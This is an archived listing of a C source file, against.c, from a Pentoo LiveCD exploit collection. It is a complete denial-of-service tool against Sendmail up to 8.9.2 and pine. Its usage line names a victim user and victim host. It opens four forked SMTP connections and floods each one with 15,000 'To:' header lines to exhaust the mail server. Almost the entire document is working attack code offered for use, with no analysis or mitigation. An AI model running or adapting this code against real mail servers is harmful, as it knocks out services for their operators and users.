home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / against.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  93 lines

  1. /*
  2.           against.c - Another Sendmail (and pine ;-) DoS (up to 8.9.2)
  3.           (c) 1999 by <marchew@linux.lepszy.od.kobiety.pl>
  4.     
  5.           Usage: ./against existing_user_on_victim_host victim_host
  6.           Example: ./against nobody lamers.net
  7.     
  8.         */
  9.     
  10.         #include <stdio.h>
  11.         #include <unistd.h>
  12.         #include <sys/param.h>
  13.         #include <sys/socket.h>
  14.         #include <sys/time.h>
  15.         #include <netinet/in.h>
  16.         #include <netdb.h>
  17.         #include <stdarg.h>
  18.         #include <errno.h>
  19.         #include <signal.h>
  20.         #include <getopt.h>
  21.         #include <stdlib.h>
  22.         #include <string.h>
  23.     
  24.         #define MAXCONN 4
  25.         #define LINES   15000
  26.     
  27.         struct hostent *hp;
  28.         struct sockaddr_in s;
  29.         int suck,loop,x;
  30.     
  31.         int main(int argc,char* argv[]) {
  32.     
  33.           printf("against.c - another Sendmail DoS (up to 8.9.2)\n");
  34.     
  35.           if (argc-3) {
  36.         printf("Usage: %s victim_user victim_host\n",argv[0]);
  37.         exit(0);
  38.           }
  39.     
  40.           hp=gethostbyname(argv[2]);
  41.     
  42.           if (!hp) {
  43.         perror("gethostbyname");
  44.         exit(1);
  45.           }
  46.     
  47.           fprintf(stderr,"Doing mess: ");
  48.     
  49.           for (;loop<MAXCONN;loop++) if (!(x=fork())) {
  50.         FILE* d;
  51.         bcopy(hp->h_addr,(void*)&s.sin_addr,hp->h_length);
  52.         s.sin_family=hp->h_addrtype;
  53.         s.sin_port=htons(25);
  54.         if ((suck=socket(AF_INET,SOCK_STREAM,0))<0) perror("socket");
  55.         if (connect(suck,(struct sockaddr *)&s,sizeof(s))) perror("connect");
  56.         if (!(d=fdopen(suck,"w"))) { perror("fdopen"); exit(0); }
  57.     
  58.         usleep(100000);
  59.     
  60.         fprintf(d,"helo tweety\n");
  61.         fprintf(d,"mail from: tweety@polbox.com\n");
  62.         fprintf(d,"rcpt to: %s@%s\n",argv[1],argv[2]);
  63.         fprintf(d,"data\n");
  64.     
  65.         usleep(100000);
  66.     
  67.         for(loop=0;loop<LINES;loop++) {
  68.           if (!(loop%100)) fprintf(stderr,".");
  69.           fprintf(d,"To: x\n");
  70.         }
  71.     
  72.         fprintf(d,"\n\n\nsomedata\n\n\n");
  73.     
  74.         fprintf(d,".\n");
  75.     
  76.         sleep(1);
  77.     
  78.         fprintf(d,"quit\n");
  79.         fflush(d);
  80.     
  81.         sleep(100);
  82.         shutdown(suck,2);
  83.         close(suck);
  84.         exit(0);
  85.           }
  86.     
  87.           waitpid(x,&loop,0);
  88.     
  89.           fprintf(stderr,"ok\n");
  90.     
  91.           return 0;
  92.         }
  93.